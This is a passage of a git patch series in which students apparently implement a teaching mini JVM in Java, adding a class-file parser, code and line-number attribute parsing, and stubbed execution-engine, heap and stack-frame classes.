+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+	
+	
+	
+	
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/engine/ExecutorEngine.java b/group12/382266293/src/com/coderising/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..5d6b582879
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,35 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		
+		
+	}
+	
+	
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		
+		
+	}
+	
+}
diff --git a/group12/382266293/src/com/coderising/jvm/engine/Heap.java b/group12/382266293/src/com/coderising/jvm/engine/Heap.java
new file mode 100644
index 0000000000..82ad210cef
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/engine/JavaObject.java b/group12/382266293/src/com/coderising/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..71ba382d9a
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/engine/MethodArea.java b/group12/382266293/src/com/coderising/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..83bb42f65f
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/engine/MethodArea.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.engine;
+
+import java.io.UnsupportedEncodingException;
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = null;
+		try {
+			clzFile = this.clzLoader.loadClass(className);
+		} catch (UnsupportedEncodingException e) {
+
+			e.printStackTrace();
+		}
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		return null;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		
+		return null;
+			
+	}
+}
diff --git a/group12/382266293/src/com/coderising/jvm/engine/MiniJVM.java b/group12/382266293/src/com/coderising/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..443524cc5f
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group12/382266293/src/com/coderising/jvm/engine/StackFrame.java b/group12/382266293/src/com/coderising/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..5ac8768316
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/engine/StackFrame.java
@@ -0,0 +1,95 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	
+	
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		return null;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}

From f97d795e28fc1092946e81c8f88b1e8231268574 Mon Sep 17 00:00:00 2001
From: "yanght1454385822@qq.com" <yanght1454385822@qq.com>
Date: Tue, 25 Apr 2017 10:58:47 +0800
Subject: [PATCH 121/262] Fieid method finish

---
 group06/1454385822/.classpath                 |   2 +-
 .../homework_04/jvm/attr/AttributeInfo.java   |  19 +++
 .../basic/homework_04/jvm/attr/CodeAttr.java  | 146 ++++++++++++++++++
 .../homework_04/jvm/attr/LineNumberTable.java |  65 ++++++++
 .../jvm/attr/LocalVariableTable.java          |  98 ++++++++++++
 .../basic/homework_04/jvm/clz/ClassFile.java  |  10 ++
 .../homework_04/jvm/clz/ClassFileParser.java  |  77 +++++----
 .../basic/homework_04/jvm/field/Field.java    |  41 +++++
 .../basic/homework_04/jvm/method/Method.java  |  88 +++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 114 +++++++-------
 .../jvm/util/ByteCodeIterator.java            |   7 +-
 11 files changed, 578 insertions(+), 89 deletions(-)
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/AttributeInfo.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/CodeAttr.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/LineNumberTable.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/LocalVariableTable.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/field/Field.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/method/Method.java

diff --git a/group06/1454385822/.classpath b/group06/1454385822/.classpath
index 6e5d5ec9db..0449aa0e39 100644
--- a/group06/1454385822/.classpath
+++ b/group06/1454385822/.classpath
@@ -7,6 +7,6 @@
 			<attribute name="owner.project.facets" value="java"/>
 		</attributes>
 	</classpathentry>
-	<classpathentry kind="lib" path="C:/Users/15636/.m2/repository/dom4j/dom4j/1.6.1/dom4j-1.6.1.jar"/>
+	<classpathentry kind="lib" path="C:/Users/yanght/Downloads/dom4j-1.6.1.jar"/>
 	<classpathentry kind="output" path="bin"/>
 </classpath>
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/AttributeInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..26cfa65b04
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coding.basic.homework_04.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/CodeAttr.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..93db2686f0
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/CodeAttr.java
@@ -0,0 +1,146 @@
+package com.coding.basic.homework_04.jvm.attr;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo{
+
+	private int attrNameIndex;
+	private int attrLength;
+	private int maxStack;
+	private int maxLocals;
+	private String code;
+	private ClassFile clzFile;
+	private LineNumberTable lineNumberTable;
+	private LocalVariableTable localVariableTable;
+	
+	
+	public CodeAttr(int attrNameIndex, int attrLength, int maxStack, int maxLocals, String code, ClassFile clzFile){
+		super(attrNameIndex, attrLength);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.code = code;
+		this.clzFile = clzFile;
+	}
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		/*for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}*/
+		buffer.append("\n");
+		buffer.append(this.lineNumberTable.toString());
+		buffer.append(this.localVariableTable.toString(pool));
+		return buffer.toString();
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iterator) {
+		CodeAttr codeAttr = null;
+		int attrNameIndex = iterator.nextU2ToInt();
+//			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+//			System.out.println("attrName : " +attrName);
+		int attrLength = iterator.nextU4ToInt();
+		int maxStack = iterator.nextU2ToInt();
+		int maxLocals = iterator.nextU2ToInt();
+		int codeLength = iterator.nextU4ToInt();
+		String code = iterator.nextUxToHexString(codeLength);
+		System.out.println("codeLength : " + codeLength);
+		codeAttr = new CodeAttr(attrNameIndex, attrLength, maxStack, maxLocals, code, clzFile);
+		int exceptionTableLength = iterator.nextU2ToInt();
+//			System.out.println("exceptionTableLength: " + exceptionTableLength);
+		if(exceptionTableLength > 0){
+			throw new RuntimeException("ExceptionTable  has not been implemented");
+		}
+		parseSubAttr(codeAttr, iterator, clzFile);
+		return codeAttr;
+	}
+
+	private static void parseSubAttr(CodeAttr codeAttr, ByteCodeIterator iterator, ClassFile clzFile){
+		int attributeCount = iterator.nextU2ToInt();
+		for(int i=0; i<attributeCount; i++){
+			int subAttrNameIndex = iterator.nextU2ToInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrNameIndex);
+			System.out.println("subAttrName :" +subAttrName);
+			iterator.back(2);
+			if(AttributeInfo.LINE_NUM_TABLE.equals(subAttrName)){
+				LineNumberTable lineNumberTable = LineNumberTable.parse(iterator);
+				codeAttr.setLineNumberTable(lineNumberTable);
+			}else if(AttributeInfo.LOCAL_VAR_TABLE.equals(subAttrName)){
+				LocalVariableTable localVariableTable = LocalVariableTable.parse(iterator);
+				codeAttr.setLocalVariableTable(localVariableTable);
+			}else{
+				throw new RuntimeException("this subAttribute has not been implemented");
+			}
+		}
+	}
+	
+	
+	
+	public LocalVariableTable getLocalVariableTable() {
+		return localVariableTable;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable localVariableTable) {
+		this.localVariableTable = localVariableTable;
+	}
+
+	public LineNumberTable getLineNumberTable() {
+		return lineNumberTable;
+	}
+
+	public void setLineNumberTable(LineNumberTable lineNumberTable) {
+		this.lineNumberTable = lineNumberTable;
+	}
+
+	public int getAttrNameIndex() {
+		return attrNameIndex;
+	}
+
+	public void setAttrNameIndex(int attrNameIndex) {
+		this.attrNameIndex = attrNameIndex;
+	}
+
+	public int getAttrLength() {
+		return attrLength;
+	}
+
+	public void setAttrLength(int attrLength) {
+		this.attrLength = attrLength;
+	}
+
+	public int getMaxStack() {
+		return maxStack;
+	}
+
+	public void setMaxStack(int maxStack) {
+		this.maxStack = maxStack;
+	}
+
+	public int getMaxLocals() {
+		return maxLocals;
+	}
+
+	public void setMaxLocals(int maxLocals) {
+		this.maxLocals = maxLocals;
+	}
+
+	public String getCode() {
+		return code;
+	}
+
+	public void setCode(String code) {
+		this.code = code;
+	}
+
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public void setClzFile(ClassFile clzFile) {
+		this.clzFile = clzFile;
+	}
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/LineNumberTable.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..75367d7ce1
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/LineNumberTable.java
@@ -0,0 +1,65 @@
+package com.coding.basic.homework_04.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLength = iter.nextU4ToInt();
+		LineNumberTable table = new LineNumberTable(attrNameIndex, attrLength);
+		int lineNumberTableLength = iter.nextU2ToInt();
+		for(int i=0; i<lineNumberTableLength; i++){
+			int startPC = iter.nextU2ToInt();
+			int lineNumber = iter.nextU2ToInt();
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(startPC);
+			item.setLineNum(lineNumber);
+			table.addLineNumberItem(item);
+		}
+		return table;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/LocalVariableTable.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..a3248eac4b
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,98 @@
+package com.coding.basic.homework_04.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLength = iter.nextU4ToInt();
+		LocalVariableTable table = new LocalVariableTable(attrNameIndex, attrLength);
+		int localVariableTableLength = iter.nextU2ToInt();
+		for(int i=0; i<localVariableTableLength; i++){
+			int startPC = iter.nextU2ToInt();
+			int length = iter.nextU2ToInt();
+			int nameIndex = iter.nextU2ToInt();
+			int descriptorIndex = iter.nextU2ToInt();
+			int index = iter.nextU2ToInt();
+			LocalVariableItem item = new LocalVariableItem(startPC, length, nameIndex, descriptorIndex, index);
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+	
+	private static class LocalVariableItem{
+		int startPC;
+		int length;
+		int nameIndex;
+		int descriptorIndex;
+		int index;
+		public LocalVariableItem(int startPC, int length, int nameIndex, int descriptorIndex, int index) {
+			this.startPC = startPC;
+			this.length = length;
+			this.nameIndex = nameIndex;
+			this.descriptorIndex = descriptorIndex;
+			this.index = index;
+		}
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLength() {
+			return length;
+		}
+		public void setLength(int length) {
+			this.length = length;
+		}
+		public int getNameIndex() {
+			return nameIndex;
+		}
+		public void setNameIndex(int nameIndex) {
+			this.nameIndex = nameIndex;
+		}
+		public int getDescriptorIndex() {
+			return descriptorIndex;
+		}
+		public void setDescriptorIndex(int descriptorIndex) {
+			this.descriptorIndex = descriptorIndex;
+		}
+		public int getIndex() {
+			return index;
+		}
+		public void setIndex(int index) {
+			this.index = index;
+		}
+		
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescriptorIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
index 9273df7cca..8d2cb4c18b 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
@@ -6,6 +6,7 @@
 import com.coding.basic.homework_04.jvm.attr.AccessFlag;
 import com.coding.basic.homework_04.jvm.constant.ConstantPool;
 import com.coding.basic.homework_04.jvm.field.Field;
+import com.coding.basic.homework_04.jvm.method.Method;
 
 public class ClassFile {
 
@@ -18,7 +19,16 @@ public class ClassFile {
 	private ClassIndex clzIndex;
 	private AccessFlag accessFlag;
 	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 	
+	public void addMethod(Method method){
+		methods.add(method);
+	}
+	
+	public List<Method> getMethods() {
+		return methods;
+	}
+
 	public void addField(Field field){
 		fields.add(field);
 	}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
index 794a7d82d8..450ee999b2 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
@@ -12,43 +12,58 @@
 import com.coding.basic.homework_04.jvm.info.NullConstantInfo;
 import com.coding.basic.homework_04.jvm.info.StringInfo;
 import com.coding.basic.homework_04.jvm.info.UTF8Info;
+import com.coding.basic.homework_04.jvm.method.Method;
 import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
 
 public class ClassFileParser {
 
-	private ClassFile classFile;
+	private ClassFile clzFile;
 	
 	private ConstantPool pool;
 	
 	public ClassFile parser(byte[] codes) {
 		ByteCodeIterator iterator = new ByteCodeIterator(codes);
-		classFile = new ClassFile();
-		classFile.setMagicNumber(iterator.nextU4ToHexString());
-		classFile.setMinorVersion(iterator.nextU2ToInt());
-		classFile.setMajorVersion(iterator.nextU2ToInt());
-		classFile.setConstantNum(iterator.nextU2ToInt());
+		clzFile = new ClassFile();
+		clzFile.setMagicNumber(iterator.nextU4ToHexString());
+		clzFile.setMinorVersion(iterator.nextU2ToInt());
+		clzFile.setMajorVersion(iterator.nextU2ToInt());
+		clzFile.setConstantNum(iterator.nextU2ToInt());
 		
-		System.out.println("Constant Pool Count :" + classFile.getConstantNum());
+		System.out.println("Constant Pool Count :" + clzFile.getConstantNum());
 		
-		try {
-			classFile.setConstantPool(parserConstantPool(iterator));
-		} catch (UnsupportedEncodingException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
 
-		classFile.setAccessFlag(new AccessFlag(iterator.nextU2ToInt()));
+		clzFile.setConstantPool(parserConstantPool(iterator));
+	
+
+		clzFile.setAccessFlag(new AccessFlag(iterator.nextU2ToInt()));
+		
+		parseClzIndex(clzFile, iterator);
+		
+		parseInterface(iterator);
+		
+		parseField(clzFile, iterator);
+		
+		parseMethod(clzFile, iterator);
 		
+		return clzFile;
+	}
+
+	private void parseClzIndex(ClassFile clzFile, ByteCodeIterator iterator) {
 		ClassIndex clzIndex = new ClassIndex();
 		clzIndex.setThisClassIndex(iterator.nextU2ToInt());
 		clzIndex.setSuperClassIndex(iterator.nextU2ToInt());
 		
-		classFile.setClzIndex(clzIndex);
-		parseInterface(iterator);
-		
-		parseField(classFile, iterator);
+		clzFile.setClzIndex(clzIndex);
 		
-		return classFile;
+	}
+
+	private void parseMethod(ClassFile clzFile, ByteCodeIterator iterator) {
+		int methodCount = iterator.nextU2ToInt();
+		System.out.println("methodCount : " + methodCount);
+		for(int i=0; i<methodCount; i++){
+			Method method = Method.parse(clzFile, iterator);
+			clzFile.addMethod(method);
+		}
 	}
 
 	private void parseField(ClassFile clzFile, ByteCodeIterator iterator) {
@@ -65,12 +80,12 @@ private void parseInterface(ByteCodeIterator iterator) {
 		//TODO 如果类中有接口，这里需要解析
 	}
 
-	private ConstantPool parserConstantPool(ByteCodeIterator iterator) throws UnsupportedEncodingException{
+	private ConstantPool parserConstantPool(ByteCodeIterator iterator){
 		pool = new ConstantPool();
 		
 		
 		pool.addConstantInfo(new NullConstantInfo());
-		for(int i=1; i <= classFile.getConstantNum() - 1; i++){
+		for(int i=1; i <= clzFile.getConstantNum() - 1; i++){
 			int tag = iterator.nextU1toInt();
 			
 			if(tag == 7){ //class info
@@ -78,13 +93,19 @@ private ConstantPool parserConstantPool(ByteCodeIterator iterator) throws Unsupp
 				clzInfo.setUtf8Index(iterator.nextU2ToInt());
 				pool.addConstantInfo(clzInfo);
 			}else if(tag == 1){ //utf8 info
-				UTF8Info utf8Info = new UTF8Info(pool);
-				utf8Info.setLength(iterator.nextU2ToInt());
-				String string  = iterator.nextUxToHexString(utf8Info.getLength());
-				utf8Info.setValue(string);
-//				System.out.println(utf8Info.toString());
-				
-				pool.addConstantInfo(utf8Info);
+				int len = iterator.nextU2ToInt();
+				byte[] data = iterator.getBytes(len);
+				String value = null;
+				try {
+					value = new String(data, "UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+
+				UTF8Info utf8Str = new UTF8Info(pool);
+				utf8Str.setLength(len);
+				utf8Str.setValue(value);
+				pool.addConstantInfo(utf8Str);
 			}else if(tag == 8){ //String info
 				StringInfo stringInfo = new StringInfo(pool);
 				stringInfo.setString_index(iterator.nextU2ToInt());
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/field/Field.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/field/Field.java
new file mode 100644
index 0000000000..6c5463a748
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/field/Field.java
@@ -0,0 +1,41 @@
+package com.coding.basic.homework_04.jvm.field;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.info.UTF8Info;
+import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
+
+public class Field {
+
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	private ConstantPool constantPool;
+	
+	public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool constantPool) {
+		this.accessFlag = accessFlag;
+		this.descriptorIndex = descriptorIndex;
+		this.nameIndex = nameIndex;
+		this.constantPool = constantPool;
+	}
+	
+	public static Field parse(ConstantPool constantPool, ByteCodeIterator iterator) {
+		int accessFlag = iterator.nextU2ToInt();
+		int nameIndex = iterator.nextU2ToInt();
+		int descriptorIndex = iterator.nextU2ToInt();
+		//TODO这里字段没有属性，没做解析工作
+		int attributeCount = iterator.nextU2ToInt();
+		Field field = new Field(accessFlag, nameIndex, descriptorIndex, constantPool);
+		
+		if(attributeCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		return field;
+	}
+	public String toString() {
+		String name = ((UTF8Info)constantPool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)constantPool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/method/Method.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/method/Method.java
new file mode 100644
index 0000000000..6064cbe7e9
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/method/Method.java
@@ -0,0 +1,88 @@
+package com.coding.basic.homework_04.jvm.method;
+
+import com.coding.basic.homework_04.jvm.attr.AttributeInfo;
+import com.coding.basic.homework_04.jvm.attr.CodeAttr;
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
+
+public class Method {
+
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	private CodeAttr codeAttr;
+	private ClassFile clzFile;
+	
+	
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+
+
+	public void setAccessFlag(int accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+
+	public void setNameIndex(int nameIndex) {
